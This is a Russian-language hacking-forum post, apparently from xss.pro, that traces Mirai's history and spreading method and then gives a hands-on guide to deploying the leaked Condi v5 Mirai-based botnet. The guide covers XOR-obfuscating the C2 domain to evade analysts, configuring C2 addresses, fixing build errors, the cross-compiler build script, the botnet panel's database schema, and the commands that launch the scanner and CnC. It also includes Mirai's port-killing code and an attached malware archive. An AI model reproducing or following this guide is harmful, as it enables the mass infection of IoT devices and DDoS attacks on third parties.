Статья IoT Ботнеты от Теории до Практики

defaultuser0

anime hater
Пользователь
Регистрация
07.07.2022
Сообщения
213
Реакции
432
Депозит
0.0003
Если вы никогда не сталкивались с IoT ботнетами, то в первую очередь вам следует обратить внимание на истоки.
MIRAI
В 2016 году на весь мир прогремела серия DDoS атак с невидынами 600гбит-1тб сек
oct-1.png

французский провайдер OVH стал одним из первых кто почуствовал что такое IoT на самом деле. Никто не понимал что происходит, огромный ботнет уничтожал работу сервисов, Mirai имел огромное количество устройств в своей сети.
Oct2.png

Специалистам из OVH удалось разобрать и подсчитать примерное количество устройств учавствовающих в атаке. На удивление специалистов это были не классические персональные компьютеры, а устройства умного дома/интернет вещей. Спустя несколько дней, аноним под ником Anna-senpai на одном из зарубежных форумов опубликовал версию IoT ботнета, как оказалось именно этот ботнет был ответсвтенен за серию атак на Krebsonsecurity,OVH,hypixel
MIRAI.png

Причина по которой Mirai смог набрать большое количество ботов, это ряд функций прописанный в поведении бота.
Mirai конкурировал за огромный пул уязвимых IoT устройств на который хотели посигнуть сотни кибепреступников по всему миру.
В первых версий вредоноса Mirai подбирал log:pass к устройствам по всему миру, генерируя IP-адреса и пытаясь подключиться по Telnet/SSH. По сути Mirai создавался как вирус под linux и занимался простым брутфорсом, но с последующими версиями Mirai уже помимо брутфорса использовал большое количество эксплойтов под всевозможные роутеры/камеры..
1704046329466.png

Принцип был такой:
1) Генерируется n^число Ip-адресов
2) Запускается сканер и подбирается пароль к telnet/ssh
3) На устройстве выполняется команда для получения архитиктуры процессора и отсылается на сервер хранения бинарников
4) Сканер который уже на устройстве узнав архитиктуры процессора выгружает по http/tftp нужный бинарник и запускает его
5) Зараженный зомби девайс начинает выполнять пункт 1/2
Вытеснение Конкурентов
Mirai сканировал память и пытался найти конкурентов, чтобы убить его процесс. Особенно в то время пользовался популярностью Qbot
1704047524569.png

1704048058570.png

Так же у бота инфицированным Mirai закрывалсь порты 21/22/80
Это нужно было для того, чтобы други сканеры не смогли зайти по такому же пути.
C:
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
    printf("[killer] Trying to kill port 23\n");
#endif
    if (killer_kill_by_port(htons(23)))
    {
#ifdef DEBUG
        printf("[killer] Killed tcp/23 (telnet)\n");
#endif
    } else {
#ifdef DEBUG
        printf("[killer] Failed to kill port 23\n");
#endif
    }
    tmp_bind_addr.sin_port = htons(23);

    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
    {
        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
        listen(tmp_bind_fd, 1);
    }
#ifdef DEBUG
    printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif

    // Kill SSH service and prevent it from restarting
#ifdef KILLER_REBIND_SSH
    if (killer_kill_by_port(htons(22)))
    {
#ifdef DEBUG
        printf("[killer] Killed tcp/22 (SSH)\n");
#endif
    }
    tmp_bind_addr.sin_port = htons(22);

    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
    {
        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
        listen(tmp_bind_fd, 1);
    }
#ifdef DEBUG
    printf("[killer] Bound to tcp/22 (SSH)\n");
#endif
#endif
Mirai инфицированный бот порожает устройство в одной с ним сети
1704051886940.png

Если резюмировать, то Mirai в настоящее время не имеет силы для набора IoT зомби, но все же нынещниее время IoT ботнеты базариуются именно на коде Mirai и помечаються везде как Mirai-based-malware, как раз в практической части мы развернем один из Mirai-based ботнет.
Практика:
За основу возьмем распростроняющийся по сети Condi botnet, а именно его слитую версию. Вы так же можете купить ее у разработчика, на его сайте. Но в любом случаи я прилажу архив в 5 версией, именно ее мы будем разворачивать.
У нас есть интересный файл enc.c
1704052438782.png

Он нам нужен для того чтобы зашифровать наш домен, чтобы усложнить поиск домена вирусным аналитикам при реверсе.
1704052587978.png

давайте зашифруем наш домен www.megahucker[.]co

1698034483888

мы получили за Xor'енную версию нашего домена и колв байтов
да, сначала нужно зарегистрировать домен и привязать его к VPS
полученный результат следует внести в table.c
Код:
(TABLE_CNC_DOMAIN, "xor_result", bytes)
(TABLE_SCAN_CB_DOMAIN, "xor_result", bytes)
Меняем IP-адрес сервера С2 там, где это необходимо:
  1. loader/scanlisten.go
  2. loader/src/headers/config.h
  3. dlr/main.c
  4. cnc/main.go
  5. loader/scanlisten.go
Тут есть маленькая проблема на стадии компиляции у вас не будут выдоваться бинарники т.к. go-sql-driver/mysql обновилась и функции которые используются в CondiV5 попросту не существуют
При компиляции если возникнит такая ошибка undefined: strings.Cut, то вот решение

удалить это из bash файла
1698041081488

создайте этот путь руками и перенесите сюда старую версию (любую до сентября 2023года - github.com/go-sql-driver/mysql)
root/Projects/Proj1/github.com/src/go-mysql-driver/mysql
Вторая проблема - криво написанный bash файл, дело в том, что автор забыл указать путь к компиляторам, поэтому нужно будет добавить это добро в файл dlr/build.sh
криво написанный bash файл
Нужно добавить это вверху:

Код:
#!/bin/bash

export PATH=$PATH:/etc/xcompile/arc/bin
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/armv7l/bin
export PATH=$PATH:/etc/xcompile/i486/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/i686/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export PATH=$PATH:/etc/xcompile/x86_64/bin
Мой путь к компиляторам /etc/xcompile
вам нужно будет скачать компиляторы для всех процессорных архитектур, чтобы распаковать и указать свой путь.
Если при компиляции выдает ошибку cnc/admin.go:196:20:undefined:cataSplit


Решение проблемы:
1698040789009


cataSplit := strings.SplitN(cmd, " ", 2)

Так же разворачиваем БД, открыв файл cnc/main.go
1704054049426.png

Тут вроде бы все понятно
DatabaseAddr = local - потому что у нас на vps стоит mariadb-server

DatabaseUser = "ваше имя пользователя"

DatabasePass = "ваш пароль"

DatabaseTable = "Название нашей БД"
Сохраняем и устанавливаем mariadb-server
Код:
mysql_secure_installation

Тут меняем пароль для root и новый пишем такой же как и DatabasePass в cnc/main.go

1698040916853

CREATE DATABASE ваше название - как в файле cnc/main.go
Код:
CREATE DATABASE botnet;
use botnet;
CREATE TABLE `history` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` int(10) unsigned NOT NULL,
  `time_sent` int(10) unsigned NOT NULL,
  `duration` int(10) unsigned NOT NULL,
  `command` text NOT NULL,
  `max_bots` int(11) DEFAULT '-1',
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
);
 
CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  `duration_limit` int(10) unsigned DEFAULT NULL,
  `cooldown` int(10) unsigned NOT NULL,
  `wrc` int(10) unsigned DEFAULT NULL,
  `last_paid` int(10) unsigned NOT NULL,
  `max_bots` int(11) DEFAULT '-1',
  `admin` int(10) unsigned DEFAULT '0',
  `intvl` int(10) unsigned DEFAULT '30',
  `api_key` text,
  PRIMARY KEY (`id`),
  KEY `username` (`username`)
);
 
CREATE TABLE `whitelist` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `prefix` varchar(16) DEFAULT NULL,
  `netmask` tinyint(3) unsigned DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `prefix` (`prefix`)
);
INSERT INTO users VALUES (NULL, 'USERNAME', 'PASSWORD', 0, 0, 0, 0, -1, 1, 30, '');
exit;

где INSERT INTO меняем дефолтные данные на наши log:pass для C2 сервера по ним мы будем подключаться по telnet
1704054718824.png

Компилируем все
Код:
cd
chmod 777 -R *
cd dlr/
bash build.sh
cd
bash build.sh
cd loader/
screen ./scanlisten
CTRL A+D
cd
screen ./cnc
Теперь мы можем подключиться по telnet к нашему серверу где 0.0.0.0 - ваш айпи, а 38241 порт который вы указали cnc/main.go
telnet 0.0.0.0 38241

Авторство: defaultuser0​

Источник: xss.pro

Mirai source code forum post - https://hackforums[.]net/showthread.php?tid=5420472
Understanding the Mirai Botnet, USENIX - https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf

 

Вложения

  • Condiv5.zip
    360.5 КБ · Просмотры: 51
Последнее редактирование модератором:
Интересно о чем чел думал когда городил вот такое
#ifdef DEBUG
printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
Ну он тестил, как работает. Понятно же что в финальной части мальвари этого не будет.
 
Ну он тестил, как работает. Понятно же что в финальной части мальвари этого не будет.
Нет друг, лично тебе не понятно.
Разьясню

общий инклюд
#ifdef DEBUG
#define dbgprintf(fmt, ...) printf(fmt, __VA_ARGS__)
#else
#define dbgprintf(fmt, ...)
#endif

в коде
dbgprintf("[killer] Bound to tcp/23 (telnet)\n");

А он как дурачок на каждый такой принт лепит
#ifdef DEBUG
printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
 
1. Mirai - это не истоки, до него были Carna, TheMoon и некоторые другие IoT ботнеты. Просто мираи из-за дудоса DynDNS, Кребса и слива сорцов был самым нашумевшим.
2. Реализации брута SSH в слитых сорцах нет, есть только несколько закомменченых строк на эту тему.
3.
Mirai инфицированный бот порожает устройство в одной с ним сети
В приведенном скрине с кодом как раз проверяется, чтоб сгенеренный случайно IP адрес НЕ принадлежал к зарезервированным диапазонам, включая локальные IP типа 192.168.x.x
 
1. Mirai - это не истоки, до него были Carna, TheMoon и некоторые другие IoT ботнеты. Просто мираи из-за дудоса DynDNS, Кребса и слива сорцов был самым нашумевшим.
+ qbot
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх